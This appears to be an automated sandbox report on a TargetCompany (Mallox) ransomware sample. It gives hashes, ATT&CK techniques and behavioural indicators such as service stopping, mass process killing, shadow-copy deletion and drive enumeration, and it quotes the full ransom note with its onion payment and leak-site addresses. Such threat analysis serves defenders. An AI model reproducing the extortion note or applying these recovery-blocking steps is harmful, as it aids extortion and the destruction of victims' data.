targetcompany | 3b8a2bcd9e8dd805793cc95c74d30f20ebc5714ea249d165afac29d1f3b0ace0

Analysis

max time kernel
63s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20250207-en
resource tags

arch:x64arch:x86image:win10v2004-20250207-enlocale:en-usos:windows10-2004-x64system
submitted
11/02/2025, 06:41

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

3B8A2BCD9E8DD805793CC95C74D30F20EBC5714EA249D165AFAC29D1F3B0ACE0.bat
Size

1.3MB
MD5

659dc2c8af5180c5465f0e04e7334aed
SHA1

a3e075c9d36c0077471f7034696af4c660630d9b
SHA256

3b8a2bcd9e8dd805793cc95c74d30f20ebc5714ea249d165afac29d1f3b0ace0
SHA512

fc632f58f30f6170387c1eb003c3b43656de2f9f97bc4564f00ac5b8a9e4fd1348f2448a07439b32c7e34c3a2020f36cce15aa85bf5f9e7f3a146ac8be431025
SSDEEP

24576:7RPcg9zh88jZh8Domk9NGL9oj2cZhm5gbwj0VaIx/a53/RI2g+B5i4/c3B:1Pcbc3rG5oj2cZhMg9/yqqqB

Score

10^/10

targetcompany defense_evasion discovery execution impact ransomware

Malware Config

Extracted

Path

C:\Users\Admin\3D Objects\FILE RECOVERY.txt

Family

targetcompany

Ransom Note

Hello Your files are encrypted and can not be used To return your files in work condition you need decryption tool Follow the instructions to decrypt all your data Do not try to change or restore files yourself, this will break them If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB How to get decryption tool: 1) Download and install TOR browser by this link: https://www.torproject.org/download/ 2) If TOR blocked in your country and you can't access to the link then use any VPN software 3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin 4) Copy your private ID in the input field. Your Private key: 3D2CDE4B4FFF691780AE2249 5) You will see payment information and we can make free test decryption here Our blog of leaked companies: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion If you are unable to contact us through the site, then you can email us: [email protected] Waiting for a response via mail can be several days. Do not use it if you have not tried contacting through the site. �

Emails

[email protected]

URLs

http://wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin

http://wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion

Signatures

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
TargetCompany,Mallox
TargetCompany (aka Mallox) is a ransomware which encrypts files using a combination of ChaCha20, AES-128, and Curve25519, first seen in June 2021.
ransomware targetcompany
Targetcompany family
targetcompany
Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047
Renames multiple (3628) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Downloads MZ/PE file 1 IoCs

flow	pid	Process
39	3616	Process not Found

Modifies service settings 1 TTPs
Alters the configuration of existing services.
defense_evasion

Windows Service
T1543.003

Sets file to hidden 1 TTPs 1 IoCs

Modifies file attributes to stop it showing in Explorer etc.

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4876	attrib.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1639772215-809007892-4072230623-1000\Control Panel\International\Geo\Nation	3B8A2BCD9E8DD805793CC95C74D30F20EBC5714EA249D165AFAC29D1F3B0ACE0.bat.exe

Executes dropped EXE 1 IoCs

pid	Process
4960	3B8A2BCD9E8DD805793CC95C74D30F20EBC5714EA249D165AFAC29D1F3B0ACE0.bat.exe

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\H:	MSBuild.exe
File opened (read-only)	\??\I:	MSBuild.exe
File opened (read-only)	\??\J:	MSBuild.exe
File opened (read-only)	\??\K:	MSBuild.exe
File opened (read-only)	\??\L:	MSBuild.exe
File opened (read-only)	\??\N:	MSBuild.exe
File opened (read-only)	\??\A:	MSBuild.exe
File opened (read-only)	\??\G:	MSBuild.exe
File opened (read-only)	\??\W:	MSBuild.exe
File opened (read-only)	\??\O:	MSBuild.exe
File opened (read-only)	\??\R:	MSBuild.exe
File opened (read-only)	\??\S:	MSBuild.exe
File opened (read-only)	\??\Y:	MSBuild.exe
File opened (read-only)	\??\M:	MSBuild.exe
File opened (read-only)	\??\Q:	MSBuild.exe
File opened (read-only)	\??\U:	MSBuild.exe
File opened (read-only)	\??\V:	MSBuild.exe
File opened (read-only)	\??\X:	MSBuild.exe
File opened (read-only)	\??\P:	MSBuild.exe
File opened (read-only)	\??\T:	MSBuild.exe
File opened (read-only)	\??\Z:	MSBuild.exe
File opened (read-only)	\??\B:	MSBuild.exe
File opened (read-only)	\??\E:	MSBuild.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
11	api.ipify.org

Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4960 set thread context of 1876	4960	3B8A2BCD9E8DD805793CC95C74D30F20EBC5714EA249D165AFAC29D1F3B0ACE0.bat.exe	96

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.WindowsSoundRecorder_10.1906.1972.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\VoiceRecorderLargeTile.contrast-white_scale-125.png	MSBuild.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\bg_pattern_RHP.png	MSBuild.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\TRANSLAT\ENES\MSB1ENES.ITS	MSBuild.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Assets\CalculatorAppList.contrast-black_targetsize-20.png	MSBuild.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\reviews\js\nls\FILE RECOVERY.txt	MSBuild.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\reviews\js\nls\tr-tr\ui-strings.js	MSBuild.exe
File created	C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\FILE RECOVERY.txt	MSBuild.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\Fonts\private\MSUIGHUB.TTF	MSBuild.exe
File opened for modification	C:\Program Files\StartRestore.emz	MSBuild.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.ScreenSketch_10.1907.2471.0_x64__8wekyb3d8bbwe\Assets\FileAssociation\FileAssociation.targetsize-32.png	MSBuild.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.HEIFImageExtension_1.0.22742.0_x64__8wekyb3d8bbwe\Assets\StoreLogo.scale-200.png	MSBuild.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsAlarms_10.1906.2182.0_x64__8wekyb3d8bbwe\Assets\AlarmsLargeTile.contrast-black_scale-200.png	MSBuild.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\cs-cz\ui-strings.js	MSBuild.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\logger\FILE RECOVERY.txt	MSBuild.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\HomeStudent2019R_OEM_Perp-ul-phn.xrm-ms	MSBuild.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\es_MX\LC_MESSAGES\vlc.mo	MSBuild.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.HEIFImageExtension_1.0.22742.0_x64__8wekyb3d8bbwe\Assets\contrast-black\BadgeLogo.scale-400_contrast-black.png	MSBuild.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.BingWeather_4.25.20211.0_x64__8wekyb3d8bbwe\Assets\AppTiles\WeatherIcons\30x30\199.png	MSBuild.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsSoundRecorder_10.1906.1972.0_x64__8wekyb3d8bbwe\Assets\VoiceRecorderAppList.targetsize-16.png	MSBuild.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsSoundRecorder_10.1906.1972.0_x64__8wekyb3d8bbwe\Assets\VoiceRecorderAppList.targetsize-40_altform-lightunplated.png	MSBuild.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\es-es\FILE RECOVERY.txt	MSBuild.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\en-gb\FILE RECOVERY.txt	MSBuild.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\DataModel\Resources\FILE RECOVERY.txt	MSBuild.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Templates\1033\AdjacencyReport.dotx	MSBuild.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\js\nls\en-gb\ui-strings.js	MSBuild.exe
File opened for modification	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\icudtl.dat.DATA	MSBuild.exe
File created	C:\Program Files\Microsoft Office\root\Office16\MSIPC\en-us\FILE RECOVERY.txt	MSBuild.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Office.OneNote_16001.12026.20112.0_x64__8wekyb3d8bbwe\images\OneNoteNotebookWideTile.scale-400.png	MSBuild.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-black\HxA-Generic-Dark.scale-200.png	MSBuild.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\ro-ro\ui-strings.js	MSBuild.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Windows.Photos_2019.19071.12548.0_x64__8wekyb3d8bbwe\Lumia.MagicEdit\ControlStyles.xbf	MSBuild.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Assets\CalculatorStoreLogo.contrast-white_scale-200.png	MSBuild.exe
File created	C:\Program Files\WindowsApps\Microsoft.Office.OneNote_16001.12026.20112.0_neutral_~_8wekyb3d8bbwe\microsoft.system.package.metadata\FILE RECOVERY.txt	MSBuild.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\sv-se\FILE RECOVERY.txt	MSBuild.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Microsoft3DViewer_6.1908.2042.0_x64__8wekyb3d8bbwe\Assets\StoreLogo.scale-200.png	MSBuild.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.MixedReality.Portal_2000.19081.1301.0_x64__8wekyb3d8bbwe\Assets\MixedRealityPortalAppList.targetsize-20_altform-lightunplated.png	MSBuild.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsSoundRecorder_10.1906.1972.0_x64__8wekyb3d8bbwe\Assets\VoiceRecorderLogoExtensions.targetsize-20.png	MSBuild.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\FILE RECOVERY.txt	MSBuild.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\pt-br\FILE RECOVERY.txt	MSBuild.exe
File opened for modification	C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Locales\id.pak	MSBuild.exe
File opened for modification	C:\Program Files\7-Zip\History.txt	MSBuild.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\INDUST\INDUST.INF	MSBuild.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.MixedReality.Portal_2000.19081.1301.0_x64__8wekyb3d8bbwe\Assets\MixedRealityPortalAppList.targetsize-30_altform-unplated.png	MSBuild.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_neutral_split.scale-100_8wekyb3d8bbwe\AppxSignature.p7x	MSBuild.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\s_cancel_18.svg	MSBuild.exe
File created	C:\Program Files\WindowsApps\Microsoft.XboxIdentityProvider_12.50.6001.0_x64__8wekyb3d8bbwe\FILE RECOVERY.txt	MSBuild.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\zlib.md	MSBuild.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL118.XML	MSBuild.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Assets\CalculatorAppList.targetsize-24_altform-colorize.png	MSBuild.exe
File opened for modification	C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.WindowsMaps_5.1906.1972.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\SecondaryTiles\Directions\Place\RTL\contrast-white\MedTile.scale-125.png	MSBuild.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\zh-cn\ui-strings.js	MSBuild.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\jfr\default.jfc	MSBuild.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\Publisher2019R_OEM_Perp-ppd.xrm-ms	MSBuild.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\MSIPC\zh-TW\FILE RECOVERY.txt	MSBuild.exe
File opened for modification	C:\Program Files\MsEdgeCrashpad\metadata	MSBuild.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\A12_Spinner_int.gif	MSBuild.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\Fonts\private\BOOKOSI.TTF	MSBuild.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.BingWeather_4.25.20211.0_neutral_~_8wekyb3d8bbwe\AppxSignature.p7x	MSBuild.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.MSPaint_6.1907.29027.0_x64__8wekyb3d8bbwe\Assets\Logos\StoreLogo\PaintApplist.scale-200.png	MSBuild.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.ScreenSketch_10.1907.2471.0_x64__8wekyb3d8bbwe\Assets\Timer3Sec.targetsize-16.png	MSBuild.exe
File opened for modification	C:\Program Files\Java\jre-1.8\FILE RECOVERY.txt	MSBuild.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.SkypeApp_14.53.77.0_x64__kzf8qxf38zg5c\Assets\Images\LockScreenBadgeLogo.scale-200.png	MSBuild.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\Assets\AppTiles\contrast-black\StoreLogo.png	MSBuild.exe
File opened for modification	C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\ResiliencyLinks\VisualElements\FILE RECOVERY.txt	MSBuild.exe

Launches sc.exe 64 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5684	sc.exe
8808	sc.exe
6280	sc.exe
2788	sc.exe
5180	sc.exe
6480	sc.exe
5316	sc.exe
6496	sc.exe
2896	sc.exe
6916	sc.exe
5096	sc.exe
5420	sc.exe
6056	sc.exe
6564	sc.exe
9204	sc.exe
6112	sc.exe
5968	sc.exe
5396	sc.exe
8068	sc.exe
2600	sc.exe
428	sc.exe
5236	sc.exe
6244	sc.exe
5912	sc.exe
5348	sc.exe
2936	sc.exe
5364	sc.exe
5252	sc.exe
5336	sc.exe
9132	sc.exe
6292	sc.exe
7712	sc.exe
6828	sc.exe
4596	sc.exe
7840	sc.exe
5872	sc.exe
5720	sc.exe
6080	sc.exe
5328	sc.exe
8884	sc.exe
3640	sc.exe
5548	sc.exe
6008	sc.exe
4384	sc.exe
5468	sc.exe
5252	sc.exe
5412	sc.exe
5156	sc.exe
8724	sc.exe
6344	sc.exe
3716	sc.exe
7236	sc.exe
4388	sc.exe
2012	sc.exe
2324	sc.exe
9096	sc.exe
3776	sc.exe
8576	sc.exe
7928	sc.exe
6688	sc.exe
1204	sc.exe
5712	sc.exe
3972	sc.exe
6412	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
4072	cmd.exe
5584	MicrosoftEdgeUpdate.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
3096	cmd.exe

Discovers systems in the same network 1 TTPs 2 IoCs

discovery

Remote System Discovery

T1018

pid	Process
5624	net.exe
5444	net.exe

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
4628	vssadmin.exe

Kills process with taskkill 64 IoCs

defense_evasion

pid	Process
8584	taskkill.exe
8624	taskkill.exe
3432	taskkill.exe
748	Process not Found
6164	Process not Found
5680	Process not Found
9200	Process not Found
892	taskkill.exe
7288	taskkill.exe
7616	Process not Found
8220	Process not Found
7264	Process not Found
5804	taskkill.exe
5868	taskkill.exe
9188	taskkill.exe
7268	Process not Found
6068	taskkill.exe
7476	taskkill.exe
6416	taskkill.exe
7444	taskkill.exe
2716	taskkill.exe
6208	taskkill.exe
5408	Process not Found
2268	Process not Found
9128	taskkill.exe
996	Process not Found
9148	Process not Found
1180	Process not Found
6180	Process not Found
5556	Process not Found
6180	taskkill.exe
5740	taskkill.exe
7756	taskkill.exe
5596	Process not Found
7336	taskkill.exe
6028	taskkill.exe
5328	taskkill.exe
7532	Process not Found
8588	Process not Found
5616	Process not Found
5868	Process not Found
7248	Process not Found
5316	taskkill.exe
7120	Process not Found
1144	taskkill.exe
5416	taskkill.exe
6980	taskkill.exe
5140	taskkill.exe
5744	Process not Found
7304	Process not Found
7200	Process not Found
5876	taskkill.exe
6948	Process not Found
1312	taskkill.exe
5248	taskkill.exe
5880	taskkill.exe
7928	taskkill.exe
5252	taskkill.exe
8904	taskkill.exe
8700	Process not Found
4976	Process not Found
5588	taskkill.exe
7076	taskkill.exe
5948	Process not Found

Runs net.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4960	3B8A2BCD9E8DD805793CC95C74D30F20EBC5714EA249D165AFAC29D1F3B0ACE0.bat.exe
4960	3B8A2BCD9E8DD805793CC95C74D30F20EBC5714EA249D165AFAC29D1F3B0ACE0.bat.exe
4132	powershell.exe
4132	powershell.exe
1876	MSBuild.exe
1876	MSBuild.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4960	3B8A2BCD9E8DD805793CC95C74D30F20EBC5714EA249D165AFAC29D1F3B0ACE0.bat.exe
Token: SeDebugPrivilege	4132	powershell.exe
Token: SeTakeOwnershipPrivilege	1876	MSBuild.exe
Token: SeDebugPrivilege	1876	MSBuild.exe
Token: SeBackupPrivilege	3120	vssvc.exe
Token: SeRestorePrivilege	3120	vssvc.exe
Token: SeAuditPrivilege	3120	vssvc.exe
Token: SeDebugPrivilege	2524	taskkill.exe
Token: SeDebugPrivilege	3532	taskkill.exe
Token: SeDebugPrivilege	2788	taskkill.exe
Token: SeDebugPrivilege	5516	taskkill.exe
Token: SeDebugPrivilege	5876	taskkill.exe
Token: SeDebugPrivilege	2344	taskkill.exe
Token: SeDebugPrivilege	3768	taskkill.exe
Token: SeDebugPrivilege	996	taskkill.exe
Token: SeDebugPrivilege	1144	taskkill.exe
Token: SeDebugPrivilege	2580	taskkill.exe
Token: SeDebugPrivilege	1052	taskkill.exe
Token: SeDebugPrivilege	5140	taskkill.exe
Token: SeDebugPrivilege	3380	taskkill.exe
Token: SeDebugPrivilege	5452	taskkill.exe
Token: SeDebugPrivilege	5512	taskkill.exe
Token: SeDebugPrivilege	5456	taskkill.exe
Token: SeDebugPrivilege	5796	taskkill.exe
Token: SeDebugPrivilege	5588	taskkill.exe
Token: SeDebugPrivilege	5856	taskkill.exe
Token: SeDebugPrivilege	5980	taskkill.exe
Token: SeDebugPrivilege	4244	taskkill.exe
Token: SeDebugPrivilege	5916	taskkill.exe
Token: SeDebugPrivilege	5356	taskkill.exe
Token: SeDebugPrivilege	6068	taskkill.exe
Token: SeDebugPrivilege	3656	taskkill.exe
Token: SeDebugPrivilege	5956	taskkill.exe
Token: SeDebugPrivilege	5804	taskkill.exe
Token: SeDebugPrivilege	4620	taskkill.exe
Token: SeDebugPrivilege	4616	taskkill.exe
Token: SeDebugPrivilege	3684	taskkill.exe
Token: SeDebugPrivilege	3768	taskkill.exe
Token: SeDebugPrivilege	5580	taskkill.exe
Token: SeDebugPrivilege	5412	taskkill.exe
Token: SeDebugPrivilege	5992	taskkill.exe
Token: SeDebugPrivilege	2420	taskkill.exe
Token: SeDebugPrivilege	5844	taskkill.exe
Token: SeDebugPrivilege	6120	taskkill.exe
Token: SeDebugPrivilege	5676	taskkill.exe
Token: SeDebugPrivilege	5620	taskkill.exe
Token: SeDebugPrivilege	5212	taskkill.exe
Token: SeDebugPrivilege	2252	taskkill.exe
Token: SeDebugPrivilege	3300	taskkill.exe
Token: SeDebugPrivilege	2216	taskkill.exe
Token: SeDebugPrivilege	5160	taskkill.exe
Token: SeDebugPrivilege	5124	taskkill.exe
Token: SeDebugPrivilege	6124	taskkill.exe
Token: SeDebugPrivilege	3980	taskkill.exe
Token: SeDebugPrivilege	5728	taskkill.exe
Token: SeDebugPrivilege	5956	taskkill.exe
Token: SeDebugPrivilege	5176	taskkill.exe
Token: SeDebugPrivilege	5464	taskkill.exe
Token: SeDebugPrivilege	5420	taskkill.exe
Token: SeDebugPrivilege	1128	taskkill.exe
